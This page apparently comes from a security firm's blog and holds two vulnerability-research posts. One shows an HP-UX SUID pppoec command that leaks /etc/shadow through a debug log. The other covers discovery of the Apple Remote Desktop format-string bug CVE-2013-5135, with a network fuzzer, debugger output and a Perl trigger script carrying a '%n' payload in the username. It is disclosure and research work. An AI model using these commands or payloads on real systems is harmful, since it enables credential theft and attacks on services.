Tag Archives: 0day

HP-UX 0day local privilege escalation

We worked for a big company in Hungary and there were some HP-UX targets. I got local user access easily to the servers but the operating system was HP-UX 11.31 without public privilege escalation sploit. This is not a big deal, this happens very often. I checked the backups, the file and directory permissions, admin scripts and many other things with no success. This UID 0 mission took me more than a day! I couldn’t believe that I couldn’t get root privilege! I downloaded all the SUID/SGID binaries and did some analysis with IDA Pro. At this point I faced the ugliest assembly code ever (Itanium2 architecture), so I gave up quickly :)

I checked the list of the SUID/SGID binaries looking for some instant root possibilities. Suddenly I realized there are some “old” binaries (related to the functionality) present on the system:

-r-sr-xr-x   1 root       bin         920588 Feb 15  2007 /usr/bin/pppd
-r-sr-xr-x   1 root       bin          87136 Feb 15  2007 /usr/bin/pppoec

The pppd can’t be executed by unprivileged users. The pppoec has the following command line arguments:

pppoec -i interface-name [ -c config-file ][ -d debug-level ][ -l log-file ]

Interesting! Let ‘s think like a hacker! ;)

/usr/bin/pppoec -i xx1 -r 1 -c /etc/shadow -d 1 -l /tmp/loggg.txt

After running it, check the output log file and smile (the debug level must be greater than 0):

pppoec proof

Solution: Remove the SUID bit from the binary!

Happy hacking and never forget: Try harder! :)

Also if you can provide us access to HP-UX test systems, don’t hesitate to contact us!

How did I find the Apple Remote Desktop bug? – CVE-2013-5135

Inspired by the Windows Remote Dektop bug (CVE-2012-0002) I created a simple  network protocol fuzzer. This is a dumb fuzzer that only changes every single byte value from 0 to 255:

#!/usr/bin/python
import socket
import time
import struct
import string
import sys
init1 = (
"Sniffed network connection part 1"
)
init2 = (
"Sniffed network connection part 2"
)
init3= (
"Sniffed network connection part 3"
)
act = init3
print len(act)
for i in range(int(sys.argv[1]),len(act)):
	for j in range(0,256):
		try:
	        	hexa = string.atol(str(j))
        		buffer = struct.pack('<B',hexa)
			x = act[:i]+buffer+act[(i+len(buffer)):]
			s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
			connect=s.connect(('192.168.1.4',5900)) # hardcoded IP address
			print str(i) + " " + str(j)
			s.send(init1) # send the data
			data = s.recv(1024)
			s.send(init2) # send the data
			data = s.recv(1024)
			s.send(x) # send the data
			data = s.recv(1024)
			s.close()
			time.sleep(1)
		except:
			j = j - 1

This approach may look especially dumb, since the Apple VNC protocol is encrypted and the changes made by the fuzzer on the bytes of the ciphertext would result in a disaster in the decrypted plaintext, but eventually this technique led to the discovery of the vulnerability. I ran this fuzzer and watched the log and the Crashreporter files. The /var/log/secure.log file contained the following lines:

Jan 14 14:52:14 computer screensharingd[26350]: Authentication: FAILED :: User Name: m?>H?iYiH3`'??

 The /Library/Log/DiagnosticsReports/ directory also contained a lot of crash files. This meant two things: I found some interesting bug right now and the screensharingd runs with root permissions (the directory above is for the crash files of the privileged processes). The Crashwrangler said this is an unexploitable crash but I don't trust this tool blindly ;)

Let's look at the crash in the debugger:

bash-3.2# while true;do for i in $( ps aux | grep -i screensharingd | grep -v grep | awk '{print $2}');do gdb --pid=$i;done;done<br />
GNU gdb 6.3.50-20050815 (Apple version gdb-1822) (Sun Aug  5 03:00:42 UTC 2012)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "x86_64-apple-darwin".No symbol table is loaded.  Use the "file" command.
/Users/depth/.gdbinit:2: Error in sourced command file:
No breakpoint number 1.
 
/Users/depth/30632: No such file or directory
Attaching to process 30632.
Reading symbols for shared libraries . done
Reading symbols for shared libraries .......................................................................................................................................... done
Reading symbols for shared libraries + done
0x00007fff89e8e67a in mach_msg_trap ()
(gdb) set follow-fork-mode child 
(gdb) c
Continuing.
 
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x0000000000000002
[Switching to process 30632 thread 0x2b03]
0x00007fff8e2a0321 in __vfprintf ()
(gdb) i reg
rax            0x2	2
rbx            0x10778ba5c	4420319836
rcx            0x37	55
rdx            0x10778a810	4420315152
rsi            0x7f9a22b00000	140299983650816
rdi            0x106926400	4405224448
rbp            0x10778aa40	0x10778aa40
rsp            0x10778a610	0x10778a610
r8             0x106926400	4405224448
r9             0x62	98
r10            0x1224892248900008	1307320572183576584
r11            0x10778aaa8	4420315816
r12            0xb	11
r13            0x38	56
r14            0x0	0
r15            0x6e	110
rip            0x7fff8e2a0321	0x7fff8e2a0321 <__vfprintf+3262>
eflags         0x10246	66118
cs             0x2b	43
ss             0x0	0
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/s $rbx
0x10778ba5c:	 " :: Viewer Address: 172.16.29.147 :: Type: DH"

This is very interresting. I assumed "*printf" error meant a common buffer overflow or a format string attack. Let's see the problematic function:

(gdb) bt
#0  0x00007fff8e2a0321 in __vfprintf ()
#1  0x00007fff8e2ea270 in vasprintf_l ()
#2  0x00007fff8e2d9429 in asl_vlog ()
#3  0x00007fff8e27f7d4 in vsyslog ()
#4  0x00007fff8e27f879 in syslog () # Vulnerability here!
#5  0x00000001075484df in _mh_execute_header ()
#6  0x0000000107521892 in _mh_execute_header ()
#7  0x0000000107532657 in _mh_execute_header ()
#8  0x000000010752d7c1 in _mh_execute_header ()
#9  0x00007fff87c46ce6 in PrivateMPEntryPoint ()
#10 0x00007fff8e2ab8bf in _pthread_start ()
#11 0x00007fff8e2aeb75 in thread_start ()

I fired up IDA Pro and looked for the invalid authentication chain of the screensharingd binary. First I searched for the "FAILED" keyword in order to find the subroutine of interest:

    ida1

But it turns out that he "Authentication FAILED" string leads us to the interesting part of code:

ida2

This string is referenced by the sub_1000322a8 function:

ida3

I followed the cross reference to the "Authentication : FAILED" string:

ida4

Yes, here is the critical part of the binary (DH authentication is the current one based on the secure.log file):

ida5

The subroutine creates the syslog message properly with format strings but before calling the syslog() function it does not sanitize the username field and the attacker can perform a format string attack. The easiest way to check this assumption is to try to authenticate using the RDP client:

vnc2

And check the secure.log file:

vnc3

 Great! :) This is a format string vulnerability in Apple Remote Desktop protocol. I spent a few days to investigate the vulnerability and write a working exploit with no success. The problems are:

  • null bytes in the memory addresses (64 bit architecture)
  • relative small buffer space (~2*64 bytes)
  • non executable stack

If you have any ideas on the exploitation of the issue, do not hesitate share them with me! To help you get started I wrote a simple trigger script:

#!/usr/bin/perl
#
# For ARD (Apple Remote Desktop) authentication you must also specify a username. 
# You must also install Crypt::GCrypt::MPI and Crypt::Random
# CVE: CVE-2013-5135
# Software: Apple Remote Desktop
# Vulnerable version: < 3.7
 
use Net::VNC;
 
$target = "192.168.1.4";
$password = "B"x64; #max 64
$a = "A"x32; # max 64
$payload = $a."%28\$n"; # CrashWrangler output-> is_exploitable=yes:instruction_disassembly=mov    %ecx,(%rax):instruction_address=0x00007fff8e2a0321:access_type=write
 
print "Apple VNC Server @ $target\n";
print "Check the /var/log/secure.log file ;) \n";
 
$vnc = Net::VNC->new({hostname => $target, username => $payload, password => $password});
$vnc->login;

This was the whole story of CVE-2013-5135 from the beginning of 2013. Every bug hunting approach may be good way, so try something different than everybody else. Happy bug hunting!